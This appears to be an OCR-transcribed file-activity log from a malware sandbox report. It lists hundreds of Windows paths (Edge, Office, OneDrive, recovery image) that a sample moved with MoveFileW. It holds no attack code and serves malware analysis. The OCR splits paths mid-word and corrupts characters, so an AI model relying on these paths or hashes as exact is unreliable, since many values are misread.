C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge De
signer\1.0.0.20\InputExtractor.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Default\Visited
Links
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C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\EADPData
Component\4.0.2.33\data.txt

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Default\Web
Data

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Default
\uu_host_config

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\edge_trackin

g_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\shoppingfre.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\product_page.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\edge_confirm
ation_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\shopping_ifr
ame_driver.js

C:\Users\user\AppData\Local\Mi

crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\edge_checkou
t_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\auto_open_co
ntroller.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\edge_driver.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5959.0\shopping.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\edge_trackin

g_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\auto_open_co
ntroller.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\shopping_ifr
ame_driver.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\edge_confirm
ation_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\product_page.js

C:\Users\user\AppData\Local\Mi

crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\edge_checkou
t_page_validator.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Wa
llet\116.16385.16360.19\bnpl_driver.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Wa
llet\116.16385.16360.19\driver-
signature.xt

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\edge_driver.js

C:\Users\user\AppData\Local\Mi
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\shoppingfre.js
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\ar\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\de\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\en-GB\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\es\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\fr\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\bnpl\b

npl.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Sh
opping\2.0.5975.0\shopping.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-ec\fr-

CA\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\id\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\it\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\nl\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\ja\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-ec\pt-

BR\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-ec\pt-

PT\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\sv\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\ru\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\zh-Hant\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

ec\zh-Hans\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\de\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\ar\strings.json
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\en-GB\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\es\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\fr-CA\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\fr\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa
llet\116.16385.16360.19\edge_driver.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\it\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\id\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\ja\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\nl\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\pt-BR\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\pt-PT\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\ru\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\zh-Hans\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\sv\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

hub\zh-Hant\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

shared-components\ar\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\i18n-

shared-components\ru\strings.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-tokenization-config.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\super_coupon.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-checkout\checkoutdata.json
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-checkout-eligible-sites-pre-

stable.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\shoppi

ng_iframe_driver.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\Notifi

cation\notification_fast.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-stable.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\Mini-W

allet\miniwallet.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-checkout-eligible-sites.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\json\w

allet\wallet-pre-stable.json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\Notifi

cation\notification.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\Wallet-

Checkout\load-ec-i18n.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Graphit

eDawnCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Graphit
eDawnCache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\Tokenized-

Card\tokenized-card.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\GrShade
rCache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-cy.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-cu.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\GrShade

rCache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Edge Wa
llet\116.16385.16360.19\Wallet-
Checkout\wallet-drawer.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa

llet\116.16385.16360.19\vendor

.bundle.js

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-de-1901.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-en-gb.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Edge Wa
llet\116.16385.16360.19\wallet.bundle.js
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-es.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-et.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-de-1996.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-ga.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\nhyph-en-us.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-de-ch-1901.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Nurturi
ng\campaign_history

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-nb.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-hu.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Local State

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\hyphen-
data\101.0.4906.0\hyph-nn.hyb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\PKIMeta
data\7.0.0.0\crs.pb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\SmartSc

reen\RemoteData\customSynchron

ousLookupUris_0

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\SmartSc

reen\RemoteData\synchronousLoo

kupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\ShaderC
ache\data_1

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\ShaderC

ache\index

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Edge\User Data\Safety T
ips\2983\safety_tips.pb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Indexed Rules\36\1

0.34.0.50\LICENSE

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Safe Br
owsing\ChromeExtMalware.store

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10

.34.0.50\LICENSE

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Indexed Rules\36\1

0.34.0.50\Ruleset Data

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

NL

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

ES
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

FR

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

DE

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10

.34.0.50\Filtering Rules-AA

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

IT

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10

.34.0.50\Filtering Rules

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

RU

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Typosqu

atting\1.20231004.1.0\typosqua

tting_list.pb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Typosqu

atting\1.20231006.1.0\typosqua

tting_list.pb

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Edge\User Data\Subresource

Filter\Unindexed Rules\10.34.0.50\Part-

ZH

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\Catalog\Li
stAll.Json

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts
\Aptos\29939506207..ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts
\Aptos\31169036496.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts
\Aptos\28315153308.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Display\23001069669.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts
\Aptos\27160079615.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Display\28367963232.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Display\29442803203.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\PreviewFon
t\flat_officeFontsPreview_4_35.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Narrow\30284701761..ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos

Display\30264859306.ttf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\FontCache\4\CloudFonts\Aptos
Narrow\37262344671.itf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Narrow\31558910439.1tf
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\FontCache\4\CloudFonts\Aptos
Narrow\24153076628.1tf

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\DTS\en-CH{

F646D30C-89E6-4F59-BFAD-C1526B

68776D}\{21E7738E-9E7C-464F-A26E-

57E448E1B335}mt11829122.png

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\excel.exe_
Rules\rule11446v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\excel.exe_
Rules\rule440002v9.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\excel.exe_
Rules\rule440007v3.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officec2rc
lient.exe_Rules\rule230170v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officec2rc
lient.exe_Rules\rule230172v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officeclic
ktorun.exe_Rules\rule11446v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officeclic
ktorun.exe_Rules\rule230170v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officeclic
ktorun.exe_Rules\rule230172v1.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\excel.exe_Rules.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officec2rc
lient.exe_Rules.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\officeclic
ktorun.exe_Rules.xml

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\WebService

Cache\AllUsers\officeclient.mi

crosoft.com\AA3DCC85-1029-4D9F-

A8D2-CDOAE28D4CCD

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\16.0\WebService

Cache\AllUsers\officeclient.mi

crosoft.com\D4AAED77-3A86-4390-

8A8C-B5376696441B

C:\Recovery\WindowsRE\Winre.wim success or wait 1 E54940 MoveFileW
C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\OTele\excel.exe.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\OTele\officec2r

client.exe.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW

crosoft\Office\OTele\officecli
cktorun.exe.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\Office\OTele\officesetup.exe.db

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Install-
PerUser-2023-10-04.1341.3012.1.aodl

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\In
stall_2023-10-04_133919_568-5a4.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\In

stall_2023-10-04_134156_4436-6

664.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\ma
chineTelemetryCache.otc.session
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C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Install-
2023-10-04.1341.4436.1.0d!

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\pa
rentTelemetryCache.otc.session

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Uninstall-

PerMachine_2023-10-04_

141049_1aa0-1aa4.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Un

install_2023-10-04_141042_1570-

1458.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Uninstall-

PerUser_2023-10-04_141049_1ad8-

1adc.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Up
date_2023-10-04_134146_6e0-acc.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Up

date_2023-10-04_141056_7500-75

04.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\us
erTelemetryCache.otc.session

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Install-

PerUser_2023-10-04_133934_1858-

1104.log

C:\Users\user\AppData\Local\Mi success or wait 1 E54940 MoveFileW
crosoft\OneDrive\setup\logs\Install-

PerUser_2023-10-04_134158_3012-

8668.log

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.MicrosoftOffi

ceHub_8wekyb3d8bbwe\LocalState

\ThirdPartyNotice.html

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\921ae2bebf

2c0c4f5d0612de464ac6be9b753540

10d4c8c367cf25fe0bff1b16

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\ac72f8d729

696026187dd059d2d97c4cab419d34

9e745057c40f173d46ed66a2

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\ContentManagement

SDK\Creatives\314559\1696426909

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\ContentManagement

SDK\Creatives\338387\1696428305

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\TargetedContentCa

che\v3\314559\7¢5437483f564236

a662f32c11bc3c36_1

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\TargetedContentCa

che\v3\314559\7ef6ad84fc7140c6

9227e15f7ba62786_1

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\Settings\settings.dat.LOG1
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C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\0a15d529a1

d1d8f4e0aal5a25ab46a1f9727bf88

b03d09a2d16d7dbb14eedbfd

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\74bd762154

bfa2be5ab63a639fa278f7c6265502

0d41b2cf65d0007fd4b68b16

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\7224ca5caa

130518c3bb8c166bc5c01adba763al

6b45ce74d16f7f5474c50911

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\Settings\settings.dat

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\72610bd0e2

a203e614400d4b3fecc4dbd7e7e3c5

384a235504ab541cc7c786a3

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\db592f99dc

d09a9625238f8640951e0126844a8b

0585e322a04f78e6ecf363ed

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Conte

ntDeliveryManager_cw5n1h2txyew

y\LocalState\Assets\a81b36d9e8

e2df21b0ad71fb4f1c0ee88658c754

32b48db5c14fd0e27767bad4

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft. Windows.Photo

s_8wekyb3d8bbwe\LocalState\Pho

tosAppTracing_startedinBGMode.etl

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_10[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\I\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_17[1].txt

C:\Users\user\AppData\Local\Pa success or wait 1 E54940 MoveFileW
ckages\Microsoft.Windows.Searc

h_cwbn1h2txyewy\AC\AppCache\B3

D4LWIM\\C__Windows_SystemApps

_Microsoft.Windows.Search_cw5n

1h2txyewy_cache_Desktop_12[1].txt

